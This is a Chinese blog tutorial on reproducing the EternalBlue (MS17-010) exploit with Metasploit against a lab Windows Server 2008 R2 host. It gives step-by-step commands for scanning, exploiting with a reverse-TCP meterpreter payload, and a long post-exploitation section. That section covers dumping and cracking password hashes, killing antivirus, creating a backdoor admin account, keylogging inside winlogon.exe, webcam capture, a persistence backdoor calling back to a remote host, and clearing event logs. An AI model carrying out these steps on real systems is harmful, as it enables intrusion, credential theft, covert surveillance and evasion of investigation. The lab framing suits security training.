永恒之蓝漏洞复现(ms17-010)

 

目录

Metasploit 

使用方法

ms17-010漏洞复现

1. 主机发现

2. 进入MSF框架

3. 使用ms17-010扫描模块,对靶机进行扫描

4. 使用ms17-010攻击模块,对靶机进行攻击

后渗透阶段

Post后渗透模块

查看目标主机是否运行在虚拟机上

关闭杀毒软件

访问文件系统

下载/上传文件

权限提升

获取用户密码

运行程序

屏幕截图

创建新账号

启用远程桌面

键盘记录

进程迁移

禁止目标主机使用键盘鼠标

用目标主机摄像头拍照

使用扩展库

生成持续性后门

清除事件日志


Metasploit 

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
 

MSF的更新:apt update

                         apt install metasploit-framework

 

使用方法

  •     进入框架:msfconsole
  •     使用search命令查找相关漏洞: search  ms17-010
  •     使用use进入模块:  use exploit/windows/smb/ms17_010_eternalblue   
  •     使用info查看模块信息: info 
  •     设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
  •     查看模块需要配置的参数:show options
  •     设置参数:set  RHOST  192.168.125.138
  •     攻击:exploit /  run 
  •     后渗透阶段

不同的攻击用到的步骤也不一样,接下来我们用永恒之蓝ms17-010来熟悉一下MSF工具的使用

 

ms17-010漏洞复现

 

描述

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

 

影响版本

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0

 

复现环境

攻击机: kali

靶机:win server 2008 r2  (192.168.1.8)

 

复现过程

 

1. 主机发现

nmap进行ip端口扫描

永恒之蓝漏洞复现(ms17-010)_第1张图片

 

扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞

 

2. 进入MSF框架

msfconsole

search ms17-010

永恒之蓝漏洞复现(ms17-010)_第2张图片

这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞

exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。

 

3. 使用ms17-010扫描模块,对靶机进行扫描

 

使用模块

     该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

      msf> use auxiliary/scanner/smb/smb_ms17_010

查看模块需要配置的参数

              show options   

永恒之蓝漏洞复现(ms17-010)_第3张图片

              右边Required为yes的选项说明左边 Current Setting 这个项对应的需要填写,比如Rhoststs

设置攻击目标

     RHOSTS 参数是要探测主机的ip或ip范围(比如 192.168.125.125-129.168.125.140 或者 192.168.1.0/24)

     set rhosts  192.168.1.8

再次查看配置参数

      show options 

执行扫描

              run     

              永恒之蓝漏洞复现(ms17-010)_第4张图片

              显示主机很可能能够会受到永恒之蓝漏洞的攻击

 

4. 使用ms17-010攻击模块,对靶机进行攻击

 

      use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息

    info

查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

    show targets

    永恒之蓝漏洞复现(ms17-010)_第5张图片

     这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)

查看攻击载荷

    攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令

    show payloads

    该命令可以查看当前漏洞利用模块下可用的所有Payload

永恒之蓝漏洞复现(ms17-010)_第6张图片

设置攻击载荷

     set payload windows/x64/meterpreter/reverse_tcp

查看配置参数

      show options 

设置目标攻击ip

      set rhosts 192.168.1.8  (如果有多个攻击目标ip间直接用空格隔开就行)

设置用于接收从目标机弹回来的shell

    set  LHOST 192.168.1.11

执行攻击

      exploit(run)

    永恒之蓝漏洞复现(ms17-010)_第7张图片

  

后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell  即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
 

永恒之蓝漏洞复现(ms17-010)_第8张图片

 

要想从 meterpreter 退出到MSF框架,输入:background     

      

 

 

输入  sessions -l   查看我们获得的shell

输入  sessions -i 1  即可切换到id为1的shell

            永恒之蓝漏洞复现(ms17-010)_第9张图片

 

 

Post后渗透模块

 

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接
                                   192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev                       #清除日志

 

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

 

查看目标主机是否运行在虚拟机上

 

 

关闭杀毒软件

 

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:

    run killav

永恒之蓝漏洞复现(ms17-010)_第10张图片

 

访问文件系统

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似,这里就不演示了)

永恒之蓝漏洞复现(ms17-010)_第11张图片

 

下载/上传文件

 

download file   从目标主机下载文件

upload file        上传文件到目标主机

永恒之蓝漏洞复现(ms17-010)_第12张图片

     这里下载的文件的路径默认在家目录下

 

权限提升

 

有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权
 

getuid  获取当前用户的信息

可以看到,当我们使用 getsystem进行提权后,用户身材为  NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限

 

获取用户密码

 

执行 :run hashdump

hashdump 模块可以从SAM数据库中导出本地用户账号, 该命令的使用需要系统权限

永恒之蓝漏洞复现(ms17-010)_第13张图片

 

从上图可知,导出了三个用户名及密码,输出格式为,用户名:SID:LM哈希:NTLM哈希::: 

 

我们来破解用户名为chenchen的用户密码,可以复制 NTLM哈希去在线网站如 www.cmd5.com 破解

永恒之蓝漏洞复现(ms17-010)_第14张图片

 

运行程序

 

查看目标主机安装了哪些应用

run post/windows/gather/enum_applications

永恒之蓝漏洞复现(ms17-010)_第15张图片

 

可以使用 execute 命令在目标系统中执行程序。使用方法如下:

execute  参数  -f  可执行文件

可选参数:

-f:指定可执行文件

-H:创建一个隐藏进程

-a:传递给命令的参数

-i:  跟进程进行交互

-m:从内存中执行

-t: 使用当前伪造的线程令牌运行进程

-s: 在给定会话中执行进程

 

永恒之蓝漏洞复现(ms17-010)_第16张图片

 

如果我想执行它某个应用程序的话,该怎么实现??

 

屏幕截图

 

输入 : screenshot    即可对目标主机的当前使用屏幕进去屏幕截取

 

创建新账号

 

查看目标主机有哪些账户

run post/windows/gather/enum_logged_on_users

永恒之蓝漏洞复现(ms17-010)_第17张图片

 

接着,我们在目标机中创建一个新的账号  : run getgui -u hack -p 123  ,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。

这里成功创建了用户,但是添加到Administrators组中失败了 ??why

永恒之蓝漏洞复现(ms17-010)_第18张图片

如果添加到Administrators组中失败了的话,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。

 

启用远程桌面

 

当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

我们可以通过运行getuid脚本帮我们开启目标主机的远程桌面,可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入: run getgui -e  或者  run post/windows/manage/enable_rdp

在目标机上右键属性远程桌面确实被打开了

在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: idletime  ,这一步不太懂??

永恒之蓝漏洞复现(ms17-010)_第19张图片

 

然后怎么通过远程桌面用我们创建的用户登录目标主机?后面再来解答

 

键盘记录

 

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录 

 

进程迁移

 

Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

在下面的例子中,我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。

首先,我们需要使用: ps  命令查看目标设备中运行的进程:
 

永恒之蓝漏洞复现(ms17-010)_第20张图片

 

我们可以使用:  getpid  查看我们当前的进程id

使用: migrate  目标进程ID 命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用  kill  pid  命令关闭进程。或者使用自动迁移进程(run post/windows/manage/migrate)命令,系统会自动寻找合适的进程然后迁移
 

永恒之蓝漏洞复现(ms17-010)_第21张图片

 

进程迁移绑定完成后,就可以开始捕获键盘数据了

运行键盘记录功能的命令

永恒之蓝漏洞复现(ms17-010)_第22张图片

 

我在目标机上进行了按键操作为何不记录??

 

禁止目标主机使用键盘鼠标

 

  • 禁止(允许)目标使用键盘: uictl  disable (enable) keyboard
  • 禁止(允许)目标使用鼠标: uictl  disable (enable) mouse

what??

 

用目标主机摄像头拍照

 

  • 获取目标系统的摄像头列表:webcam_list
  • •从指定的摄像头,拍摄照片:webcam_snap
  • •从指定的摄像头,开启视频:webcam_stream

我这里没有摄像头就不演示了

 

使用扩展库

 

使用 load -l  查看扩展库

永恒之蓝漏洞复现(ms17-010)_第23张图片

 

 

生成持续性后门

 

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接,这样太麻烦了。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
 

建立持续性后门有两种方法

  • 通过启动项启动
  • 通过服务启动

 

启动项启动

用这种方法的话,我们先生成一个后门工具   ,传送门 -->  用msf生成一个后门木马

然后放到windows的启动目录中:

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

 

服务启动

通过服务启动,我们可以运行命令 

run persistence -X -i 5 -p 8888 -r 192.168.43.226

 

永恒之蓝漏洞复现(ms17-010)_第24张图片

 

注释:反弹时间间隔是5s, 会自动连接192.168.43.226的4444端口,缺点是容易被杀毒软件查杀

然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
 

在目标主机可以看到这样一个文件夹,是一个VBScript脚本

永恒之蓝漏洞复现(ms17-010)_第25张图片

 

查看靶机的端口连接情况  netstat -an  可以看到靶机连着我们的8888端口

靶机进行重启后,查看端口状态确实是连着的,但是msf断了又得重新exploit,如何通过留的后门进入靶机而不是通过msf进行进入到靶机里面?

 

清除事件日志

 

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令  clearev  命令来清除事件日志:

永恒之蓝漏洞复现(ms17-010)_第26张图片

 

 

 

 

Refer to the article:

https://blog.csdn.net/qq_36119192/article/details/83215257#Post%C2%A0%E5%90%8E%E6%B8%97%E9%80%8F%E6%A8%A1%E5%9D%97%C2%A0

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(漏洞复现)